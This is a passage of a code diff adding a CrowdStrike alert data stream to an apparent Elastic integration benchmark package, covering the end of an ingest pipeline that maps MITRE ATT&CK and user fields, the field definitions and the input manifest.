+      target_field: crowdstrike.alert.mitre_attack
+      ignore_missing: true
+  - foreach:
+      tag: foreach_crowdstrike_alert_mitre_attack_50e8fec3
+      field: crowdstrike.alert.mitre_attack
+      if: ctx.crowdstrike?.alert?.mitre_attack instanceof List
+      processor:
+        append:
+          field: threat.tactic.name
+          tag: append_threat_tactic_name
+          value: '{{{_ingest._value.tactic}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_crowdstrike_alert_mitre_attack_a75d3917
+      field: crowdstrike.alert.mitre_attack
+      if: ctx.crowdstrike?.alert?.mitre_attack instanceof List
+      processor:
+        append:
+          field: threat.tactic.id
+          tag: append_threat_tactic_id
+          value: '{{{_ingest._value.tactic_id}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_crowdstrike_alert_mitre_attack_c9b5d563
+      field: crowdstrike.alert.mitre_attack
+      if: ctx.crowdstrike?.alert?.mitre_attack instanceof List
+      processor:
+        append:
+          field: threat.technique.name
+          tag: append_threat_technique_name
+          value: '{{{_ingest._value.technique}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_crowdstrike_alert_mitre_attack_6a5df41b
+      field: crowdstrike.alert.mitre_attack
+      if: ctx.crowdstrike?.alert?.mitre_attack instanceof List
+      processor:
+        append:
+          field: threat.technique.id
+          tag: append_threat_technique_id
+          value: '{{{_ingest._value.technique_id}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_crowdstrike_alert_mitre_attack_5448da51
+      field: crowdstrike.alert.mitre_attack
+      if: ctx.crowdstrike?.alert?.mitre_attack instanceof List
+      processor:
+        convert:
+          field: _ingest._value.pattern_id
+          tag: convert_mitre_attack_pattern_id_to_string
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.pattern_id
+                tag: remove_ingest_value_pattern_id
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: Set threat.framework from threat.* fields using prefix matching and preference order.
+      lang: painless
+      tag: script_threat_framework
+      if: ctx.threat != null
+      params:
+        framework_preference:
+          - MITRE ATT&CK
+          - CrowdStrike Falcon Detections Framework
+        framework_cs: 'CrowdStrike Falcon Detections Framework'
+        framework_ma: 'MITRE ATT&CK'
+        falcon_tactic_names:
+          - malware
+          - exploit
+          - post-exploit
+          - machine learning
+          - custom intelligence
+          - falcon overwatch
+          - falcon intel
+          - ai powered ioa
+          - insecure security posture
+      source: |
+        def tid = ctx.threat.tactic?.id;
+        def nid = ctx.threat.technique?.id;
+        def tname = ctx.threat.tactic?.name;
+        if ((tid == null || tid.isEmpty()) && (nid == null || nid.isEmpty()) && (tname == null || tname.isEmpty())) {
+          return;
+        }
+        Set frameworks = new HashSet();
+        // Handling tactics prefixed with "CS" or "TA".
+        if (tid != null && !tid.isEmpty()) {
+          for (String t: tid) {
+            if (t.startsWith("CS")) {
+              frameworks.add(params.framework_cs);
+            }
+            else if (t.startsWith("TA")) {
+              frameworks.add(params.framework_ma);
+            }
+          }
+        }
+        // Handling techniques prefixed with "CS".
+        if (nid != null && !nid.isEmpty()) {
+          for (String t: nid) {
+            if (t.startsWith("CS")) {
+              frameworks.add(params.framework_cs);
+            }
+          }
+        }
+        // Handling falcon specific tactics.
+        if (tname != null && !tname.isEmpty()) {
+          for (String t: tname) {
+            if (params.falcon_tactic_names.contains(t.toLowerCase())) {
+              frameworks.add(params.framework_cs);
+            }
+          }
+        }
+        if (frameworks.isEmpty()) {
+          return;
+        }
+        if (frameworks.size() == 1) {
+          ctx.threat.framework = frameworks.iterator().next();
+          return;
+        }
+
+        for (def preferred : params.framework_preference) {
+          if (frameworks.contains(preferred)) {
+            ctx.threat.framework = preferred;
+            return;
+          }
+        }
+
+        // fallback when new frameworks are added and not yet in preference list
+        ctx.threat.framework = frameworks.iterator().next();
+      on_failure:
+        - append:
+            tag: append_error_message_f73582d4
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.template_instance_id
+      tag: rename_template_instance_id
+      target_field: crowdstrike.alert.template_instance_id
+      ignore_missing: true
+  - date:
+      field: json.timestamp
+      tag: date_timestamp
+      target_field: crowdstrike.alert.timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.timestamp != null && ctx.json.timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_2e6fef78
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: '@timestamp'
+      tag: set_@timestamp_from_alert_timestamp
+      copy_from: crowdstrike.alert.timestamp
+      ignore_empty_value: true
+  - rename:
+      field: json.tree_id
+      tag: rename_tree_id
+      target_field: crowdstrike.alert.tree_id
+      ignore_missing: true
+  - rename:
+      field: json.tree_root
+      tag: rename_tree_root
+      target_field: crowdstrike.alert.tree_root
+      ignore_missing: true
+  - rename:
+      field: json.triggering_process_graph_id
+      tag: rename_triggering_process_graph_id
+      target_field: crowdstrike.alert.triggering_process_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.type
+      tag: rename_type
+      target_field: crowdstrike.alert.type
+      ignore_missing: true
+  - rename:
+      field: json.rule_group_id
+      tag: rename_rule_group_id
+      target_field: crowdstrike.alert.rule_group_id
+      ignore_missing: true
+  - rename:
+      field: json.rule_group_name
+      tag: rename_rule_group_name
+      target_field: crowdstrike.alert.rule_group_name
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_created_by
+      tag: rename_rule_instance_created_by
+      target_field: crowdstrike.alert.rule_instance_created_by
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_id
+      tag: rename_rule_instance_id
+      target_field: crowdstrike.alert.rule_instance_id
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_name
+      tag: rename_rule_instance_name
+      target_field: crowdstrike.alert.rule_instance_name
+      ignore_missing: true
+  - rename:
+      field: json.rule_instance_version
+      tag: rename_rule_instance_version
+      target_field: crowdstrike.alert.rule_instance_version
+      ignore_missing: true
+  - rename:
+      field: json.overwatch_note
+      tag: rename_overwatch_note
+      target_field: crowdstrike.alert.overwatch_note
+      ignore_missing: true
+  - date:
+      field: json.overwatch_note_timestamp
+      tag: date_overwatch_note_timestamp
+      target_field: crowdstrike.alert.overwatch_note_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != ''
+      ignore_failure: true
+  - date:
+      field: json.updated_timestamp
+      tag: date_updated_timestamp
+      target_field: crowdstrike.alert.updated_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != ''
+      on_failure:
+        - append:
+            tag: append_error_message_d375f9f0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.user_id
+      tag: rename_user_id
+      target_field: crowdstrike.alert.user_id
+      ignore_missing: true
+  - set:
+      field: user.id
+      tag: set_user_id_from_alert_user_id
+      copy_from: crowdstrike.alert.user_id
+      ignore_empty_value: true
+  - rename:
+      field: json.user_name
+      tag: rename_user_name
+      target_field: crowdstrike.alert.user_name
+      ignore_missing: true
+  - set:
+      field: user.name
+      tag: set_user_name_from_alert_user_name
+      copy_from: crowdstrike.alert.user_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_user_id_into_related_user
+      value: '{{{user.id}}}'
+      allow_duplicates: false
+      if: ctx.user?.id != null
+  - append:
+      field: related.user
+      tag: append_user_name_into_related_user
+      value: '{{{user.name}}}'
+      allow_duplicates: false
+      if: ctx.user?.name != null
+  - rename:
+      field: json.user_principal
+      tag: rename_user_principal
+      target_field: crowdstrike.alert.user_principal
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_user_principal_into_related_user
+      value: '{{{crowdstrike.alert.user_principal}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.user_principal != null
+
+  - grok:
+      tag: grok_crowdstrike_alert_name_590f0399
+      field: crowdstrike.alert.name
+      patterns:
+        - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}"
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      tag: set_user_name_10fa09f0
+      field: user.name
+      copy_from: _username_from_name
+      if: ctx.user?.name == null || ctx.user.name == ''
+      ignore_empty_value: true
+  - append:
+      tag: append_related_user_6909493b
+      field: related.user
+      value: '{{{_username_from_name}}}'
+      allow_duplicates: false
+      if: ctx._username_from_name != null && ctx._username_from_name != ''
+  - set:
+      tag: set_host_name_bfa41cba
+      field: host.name
+      copy_from: _hostname_from_name
+      if: ctx.host?.name == null || ctx.host.name == ''
+      ignore_empty_value: true
+  - append:
+      tag: append_related_hosts_841139de
+      field: related.hosts
+      value: '{{{_hostname_from_name}}}'
+      allow_duplicates: false
+      if: ctx._hostname_from_name != null && ctx._hostname_from_name != ''
+  - remove:
+      tag: remove_20d23887
+      field:
+        - _username_from_name
+        - _hostname_from_name
+      ignore_missing: true
+
+  - fingerprint:
+      tag: fingerprint_b7759f38
+      fields:
+        - event.id
+        - crowdstrike.alert.cid
+        - crowdstrike.alert.indicator_id
+        - crowdstrike.alert.updated_timestamp
+      target_field: _id
+      ignore_missing: true
+  - remove:
+      field:
+        - crowdstrike.alert.agent_id
+        - crowdstrike.alert.command_line
+        - crowdstrike.alert.description
+        - crowdstrike.alert.device.device_id
+        - crowdstrike.alert.device.external_ip
+        - crowdstrike.alert.device.hostinfo.domain
+        - crowdstrike.alert.device.hostname
+        - crowdstrike.alert.device.local_ip
+        - crowdstrike.alert.device.mac_address
+        - crowdstrike.alert.device.os_version
+        - crowdstrike.alert.device.platform_name
+        - crowdstrike.alert.device.system_manufacturer
+        - crowdstrike.alert.device.system_product_name
+        - crowdstrike.alert.device.tags
+        - crowdstrike.alert.end_time
+        - crowdstrike.alert.filename
+        - crowdstrike.alert.filepath
+        - crowdstrike.alert.host_name
+        - crowdstrike.alert.host_type
+        - crowdstrike.alert.id
+        - crowdstrike.alert.idp_policy_rule.id
+        - crowdstrike.alert.idp_policy_rule.name
+        - crowdstrike.alert.image_file_name
+        - crowdstrike.alert.location_country_code
+        - crowdstrike.alert.md5
+        - crowdstrike.alert.operating_system
+        - crowdstrike.alert.os_name
+        - crowdstrike.alert.parent_details.cmdline
+        - crowdstrike.alert.parent_details.filename
+        - crowdstrike.alert.parent_details.filepath
+        - crowdstrike.alert.parent_details.md5
+        - crowdstrike.alert.parent_details.sha256
+        - crowdstrike.alert.parent_details.user_id
+        - crowdstrike.alert.parent_details.user_name
+        - crowdstrike.alert.parent_process_id
+        - crowdstrike.alert.process_end_time
+        - crowdstrike.alert.process_id
+        - crowdstrike.alert.process_start_time
+        - crowdstrike.alert.severity
+        - crowdstrike.alert.sha1
+        - crowdstrike.alert.sha256
+        - crowdstrike.alert.source.account_azure_id
+        - crowdstrike.alert.source.account_domain
+        - crowdstrike.alert.source.account_name
+        - crowdstrike.alert.source.endpoint_host_name
+        - crowdstrike.alert.source.endpoint_ip_address
+        - crowdstrike.alert.start_time
+        - crowdstrike.alert.tactic
+        - crowdstrike.alert.tags
+        - crowdstrike.alert.target.account_name
+        - crowdstrike.alert.target.domain_controller_host_name
+        - crowdstrike.alert.target.endpoint_host_name
+        - crowdstrike.alert.technique
+        - crowdstrike.alert.timestamp
+        - crowdstrike.alert.user_id
+        - crowdstrike.alert.user_name
+      tag: remove_custom_duplicate_fields
+      ignore_missing: true
+      if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
+  - remove:
+      field: json
+      tag: remove_json
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Drops null/empty values recursively.
+      tag: painless_remove_null
+      source: |-
+        boolean drop(Object object) {
+          if (object == null || object == '') {
+            return true;
+          } else if (object instanceof Map) {
+            ((Map) object).values().removeIf(v -> drop(v));
+            return (((Map) object).size() == 0);
+          } else if (object instanceof List) {
+            ((List) object).removeIf(v -> drop(v));
+            return (((List) object).length == 0);
+          }
+          return false;
+        }
+        drop(ctx);
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind_processor
+      value: pipeline_error
+      if: ctx.error?.message != null
+  - append:
+      tag: append_tags_9fe66b2c
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+      if: ctx.error?.message != null
+on_failure:
+  - append:
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
new file mode 100644
index 0000000000..a93aca0ee9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module.
+  value: crowdstrike
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset.
+  value: crowdstrike.alert
+- name: '@timestamp'
+  type: date
+  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
new file mode 100644
index 0000000000..4084f1dc7f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
@@ -0,0 +1,6 @@
+- name: input.type
+  type: keyword
+  description: Type of filebeat input.
+- name: log.offset
+  type: long
+  description: Log offset.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
new file mode 100644
index 0000000000..bdc73a9cb9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
@@ -0,0 +1,9 @@
+# Remove this file when kibana.version satisfied ^8.14.
+- name: threat.tactic.id
+  external: ecs
+- name: threat.technique.id
+  external: ecs
+- name: threat.framework
+  external: ecs
+- name: tags
+  external: ecs
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
new file mode 100644
index 0000000000..d499a73dda
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
@@ -0,0 +1,633 @@
+- name: crowdstrike
+  type: group
+  fields:
+    - name: alert
+      type: group
+      fields:
+        - name: active_directory_authentication_method
+          type: long
+        - name: activity
+          type: group
+          fields:
+            - name: browser
+              type: keyword
+            - name: device
+              type: keyword
+            - name: id
+              type: keyword
+            - name: os
+              type: keyword
+        - name: agent_id
+          type: keyword
+        - name: agent_scan_id
+          type: keyword
+        - name: aggregate_id
+          type: keyword
+        - name: alert_attributes
+          type: long
+        - name: alleged_filetype
+          type: keyword
+        - name: assigned_to
+          type: group
+          fields:
+            - name: name
+              type: keyword
+            - name: uid
+              type: keyword
+            - name: uuid
+              type: keyword
+        - name: associated_files
+          type: group
+          fields:
+            - name: filepath
+              type: keyword
+            - name: sha256
+              type: keyword
+        - name: child_process_ids
+          type: keyword
+        - name: cid
+          type: keyword
+        - name: cloud_indicator
+          type: boolean
+        - name: cmdline
+          type: keyword
+        - name: command_line
+          type: keyword
+        - name: comment
+          type: keyword
+        - name: composite_id
+          type: keyword
+        - name: confidence
+          type: long
+        - name: context_timestamp
+          type: date
+        - name: control_graph_id
+          type: keyword
+        - name: crawl_edge_ids
+          type: group
+          fields:
+            - name: Sensor
+              type: keyword
+        - name: crawl_vertex_ids
+          type: group
+          fields:
+            - name: Sensor
+              type: keyword
+        - name: crawled_timestamp
+          type: date
+        - name: created_timestamp
+          type: date
+        - name: data_domains
+          type: keyword
+        - name: description
+          type: keyword
+        - name: detect_type
+          type: keyword
+        - name: device
+          type: group
+          fields:
+            - name: agent_load_flags
+              type: long
+            - name: agent_local_time
+              type: date
+            - name: agent_version
+              type: keyword
+            - name: bios_manufacturer
+              type: keyword
+            - name: bios_version
+              type: keyword
+            - name: cid
+              type: keyword
+            - name: config_id_base
+              type: keyword
+            - name: config_id_build
+              type: keyword
+            - name: config_id_platform
+              type: long
+            - name: external_ip
+              type: ip
+            - name: first_seen
+              type: date
+            - name: groups
+              type: keyword
+            - name: hostinfo
+              type: group
+              fields:
+                - name: active_directory_dn_display
+                  type: keyword
+                - name: domain
+                  type: keyword
+            - name: hostname
+              type: keyword
+            - name: id
+              type: keyword
+            - name: last_seen
+              type: date
+            - name: local_ip
+              type: ip
+            - name: mac_address
+              type: keyword
+            - name: machine_domain
+              type: keyword
+            - name: major_version
+              type: keyword
+            - name: minor_version
+              type: keyword
+            - name: modified_timestamp
+              type: date
+            - name: os_version
+              type: keyword
+            - name: ou
+              type: keyword
+            - name: platform_id
+              type: keyword
+            - name: platform_name
+              type: keyword
+            - name: pod_labels
+              type: keyword
+            - name: product_type
+              type: keyword
+            - name: product_type_desc
+              type: keyword
+            - name: site_name
+              type: keyword
+            - name: status
+              type: keyword
+            - name: system_manufacturer
+              type: keyword
+            - name: system_product_name
+              type: keyword
+            - name: tags
+              type: keyword
+        - name: display_name
+          type: keyword
+        - name: documents_accessed
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: email_sent
+          type: boolean
+        - name: end_time
+          type: date
+        - name: event_id
+          type: keyword
+        - name: executables_written
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: falcon_host_link
+          type: keyword
+        - name: file_writes
+          type: group
+          fields:
+            - name: name
+              type: keyword
+            - name: sha256
+              type: keyword
+        - name: filename
+          type: keyword
+        - name: filepath
+          type: keyword
+        - name: files_accessed
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: files_written
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: timestamp
+              type: date
+        - name: global_prevalence
+          type: keyword
+        - name: grandparent_details
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: local_process_id
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: process_graph_id
+              type: keyword
+            - name: process_id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: timestamp
+              type: date
+            - name: user_graph_id
+              type: keyword
+            - name: user_id
+              type: keyword
+            - name: user_name
+              type: keyword
+        - name: has_script_or_module_ioc
+          type: boolean
+        - name: host_name
+          type: keyword
+        - name: host_type
+          type: keyword
+        - name: id
+          type: keyword
+        - name: idp_policy
+          type: group
+          fields:
+            - name: enforced_externally
+              type: long
+            - name: mfa_factor_type
+              type: long
+            - name: mfa_provider
+              type: long
+            - name: rule_action
+              type: long
+            - name: rule_trigger
+              type: long
+            - name: rule_id
+              type: keyword
+            - name: rule_name
+              type: keyword
+        - name: image_file_name
+          type: keyword
+        - name: incident
+          type: group
+          fields:
+            - name: created
+              type: date
+            - name: end
+              type: date
+            - name: id
+              type: keyword
+            - name: score
+              type: double
+            - name: start
+              type: date
+        - name: indicator_id
+          type: keyword
+        - name: ioc_context
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: ioc_description
+              type: keyword
+            - name: ioc_source
+              type: keyword
+            - name: ioc_type
+              type: keyword
+            - name: ioc_value
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: type
+              type: keyword
+        - name: ioc_description
+          type: keyword
+        - name: ioc_source
+          type: keyword
+        - name: ioc_type
+          type: keyword
+        - name: ioc_value
+          type: keyword
+        - name: ioc_values
+          type: keyword
+        - name: is_synthetic_quarantine_disposition
+          type: boolean
+        - name: ldap_search_query_attack
+          type: long
+        - name: local_prevalence
+          type: keyword
+        - name: local_process_id
+          type: keyword
+        - name: location_country_code
+          type: keyword
+        - name: location_latitude_as_int
+          type: long
+        - name: location_longitude_as_int
+          type: long
+        - name: logon_domain
+          type: keyword
+        - name: md5
+          type: keyword
+        - name: mitre_attack
+          type: group
+          fields:
+            - name: pattern_id
+              type: keyword
+            - name: tactic
+              type: keyword
+            - name: tactic_id
+              type: keyword
+            - name: technique
+              type: keyword
+            - name: technique_id
+              type: keyword
+        - name: model_anomaly_indicators
+          type: keyword
+        - name: name
+          type: keyword
+        - name: network_accesses
+          type: group
+          fields:
+            - name: access_timestamp
+              type: date
+            - name: access_type
+              type: long
+            - name: connection_direction
+              type: keyword
+            - name: isIPV6
+              type: boolean
+            - name: local_address
+              type: ip
+            - name: local_port
+              type: long
+            - name: protocol
+              type: keyword
+            - name: remote_address
+              type: ip
+            - name: remote_port
+              type: long
+        - name: objective
+          type: keyword
+        - name: operating_system
+          type: keyword
+        - name: os_name
+          type: keyword
+        - name: overwatch_note
+          type: keyword
+        - name: overwatch_note_timestamp
+          type: date
+        - name: parent_details
+          type: group
+          fields:
+            - name: cmdline
+              type: keyword
+            - name: filename
+              type: keyword
+            - name: filepath
+              type: keyword
+            - name: local_process_id
+              type: keyword
+            - name: md5
+              type: keyword
+            - name: process_graph_id
+              type: keyword
+            - name: process_id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: timestamp
+              type: date
+            - name: user_graph_id
+              type: keyword
+            - name: user_id
+              type: keyword
+            - name: user_name
+              type: keyword
+        - name: parent_process_id
+          type: keyword
+        - name: pattern_disposition
+          type: long
+        - name: pattern_disposition_description
+          type: keyword
+        - name: pattern_disposition_details
+          type: group
+          fields:
+            - name: blocking_unsupported_or_disabled
+              type: boolean
+            - name: bootup_safeguard_enabled
+              type: boolean
+            - name: containment_file_system
+              type: boolean
+            - name: critical_process_disabled
+              type: boolean
+            - name: detect
+              type: boolean
+            - name: fs_operation_blocked
+              type: boolean
+            - name: handle_operation_downgraded
+              type: boolean
+            - name: inddet_mask
+              type: boolean
+            - name: indicator
+              type: boolean
+            - name: kill_action_failed
+              type: boolean
+            - name: kill_parent
+              type: boolean
+            - name: kill_process
+              type: boolean
+            - name: kill_subprocess
+              type: boolean
+            - name: mfa_required
+              type: boolean
+            - name: operation_blocked
+              type: boolean
+            - name: policy_disabled
+              type: boolean
+            - name: prevention_provisioning_enabled
+              type: boolean
+            - name: process_blocked
+              type: boolean
+            - name: quarantine_file
+              type: boolean
+            - name: quarantine_machine
+              type: boolean
+            - name: registry_operation_blocked
+              type: boolean
+            - name: response_action_already_applied
+              type: boolean
+            - name: response_action_failed
+              type: boolean
+            - name: response_action_triggered
+              type: boolean
+            - name: rooting
+              type: boolean
+            - name: sensor_only
+              type: boolean
+            - name: suspend_parent
+              type: boolean
+            - name: suspend_process
+              type: boolean
+        - name: pattern_id
+          type: keyword
+        - name: platform
+          type: keyword
+        - name: poly_id
+          type: keyword
+        - name: prevented
+          type: boolean
+        - name: process_end_time
+          type: date
+        - name: process_id
+          type: keyword
+        - name: process_start_time
+          type: date
+        - name: product
+          type: keyword
+        - name: protocol_anomaly_classification
+          type: long
+        - name: quarantined
+          type: boolean
+        - name: quarantined_files
+          type: group
+          fields:
+            - name: filename
+              type: keyword
+            - name: id
+              type: keyword
+            - name: sha256
+              type: keyword
+            - name: state
+              type: keyword
+        - name: rule_group_id
+          type: keyword
+        - name: rule_group_name
+          type: keyword
+        - name: rule_instance_created_by
+          type: keyword
+        - name: rule_instance_id
+          type: keyword
+        - name: rule_instance_name
+          type: keyword
+        - name: rule_instance_version
+          type: keyword
+        - name: scan_id
+          type: keyword
+        - name: scenario
+          type: keyword
+        - name: seconds_to_resolved
+          type: long
+        - name: seconds_to_triaged
+          type: long
+        - name: severity
+          type: long
+        - name: severity_name
+          type: keyword
+        - name: sha1
+          type: keyword
+        - name: sha256
+          type: keyword
+        - name: show_in_ui
+          type: boolean
+        - name: source
+          type: group
+          fields:
+            - name: account_azure_id
+              type: keyword
+            - name: account_domain
+              type: keyword
+            - name: account_name
+              type: keyword
+            - name: account_object_guid
+              type: keyword
+            - name: account_object_sid
+              type: keyword
+            - name: account_sam_account_name
+              type: keyword
+            - name: account_upn
+              type: keyword
+            - name: endpoint_account_object_guid
+              type: keyword
+            - name: endpoint_account_object_sid
+              type: keyword
+            - name: endpoint_address_ip4
+              type: ip
+            - name: endpoint_host_name
+              type: keyword
+            - name: endpoint_ip_address
+              type: ip
+            - name: endpoint_ip_reputation
+              type: long
+            - name: endpoint_sensor_id
+              type: keyword
+            - name: ip_isp_classification
+              type: long
+            - name: ip_isp_domain
+              type: keyword
+        - name: source_products
+          type: keyword
+        - name: source_vendors
+          type: keyword
+        - name: start_time
+          type: date
+        - name: status
+          type: keyword
+        - name: tactic
+          type: keyword
+        - name: tactic_id
+          type: keyword
+        - name: tags
+          type: keyword
+        - name: target
+          type: group
+          fields:
+            - name: account_name
+              type: keyword
+            - name: domain_controller_host_name
+              type: keyword
+            - name: domain_controller_object_guid
+              type: keyword
+            - name: domain_controller_object_sid
+              type: keyword
+            - name: endpoint_account_object_guid
+              type: keyword
+            - name: endpoint_account_object_sid
+              type: keyword
+            - name: endpoint_host_name
+              type: keyword
+            - name: endpoint_sensor_id
+              type: keyword
+            - name: service_access_identifier
+              type: keyword
+        - name: technique
+          type: keyword
+        - name: technique_id
+          type: keyword
+        - name: template_instance_id
+          type: keyword
+        - name: timestamp
+          type: date
+        - name: tree_id
+          type: keyword
+        - name: tree_root
+          type: keyword
+        - name: triggering_process_graph_id
+          type: keyword
+        - name: type
+          type: keyword
+        - name: updated_timestamp
+          type: date
+        - name: user_id
+          type: keyword
+        - name: user_name
+          type: keyword
+        - name: user_principal
+          type: keyword
+        - name: worker_node_name
+          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
new file mode 100644
index 0000000000..4e3c744edc
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
@@ -0,0 +1,94 @@
+title: Collect alerts from CrowdStrike.
+type: logs
+streams:
+  - input: cel
+    title: Alerts
+    description: Collect unified alerts from CrowdStrike Falcon.
+    enabled: false
+    template_path: cel.yml.hbs
+    vars:
+      - name: initial_interval
+        type: text
+        title: Initial Interval
+        description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s.
+        multi: false
+        required: true
+        show_user: true
+        default: 24h
+      - name: interval
+        type: text
+        title: Interval
+        description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s.
+        default: 24h
+        multi: false
+        required: true
+        show_user: true
+      - name: batch_size
+        type: integer
+        title: Batch Size
+        description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000.
+        default: 1000
+        multi: false
+        required: true
+        show_user: false
+      - name: http_client_timeout
+        type: text
+        title: HTTP Client Timeout
+        description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
+        multi: false
+        required: true
+        show_user: false
+        default: 30s
+      - name: query
+        type: text
+        title: FQL Query
+        description: This is an additional FQL query that can be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details.
+        multi: false
+        required: false
+        show_user: false
+      - name: enable_request_tracer
+        type: bool
+        title: Enable request tracing
+        default: false
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          The request tracer logs requests and responses to the agent's local file-system for debugging configurations.
+          Enabling this request tracing compromises security and should only be used for debugging. Disabling the request
+          tracer will delete any stored traces.
+          See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable)
+          for details.
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-alert
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`.
+        type: bool
+        multi: false
+        default: false
+      - name: preserve_duplicate_custom_fields
+        required: true
+        show_user: false
+        title: Preserve duplicate custom fields
+        description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields.
+        type: bool
+        multi: false
+        default: false
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
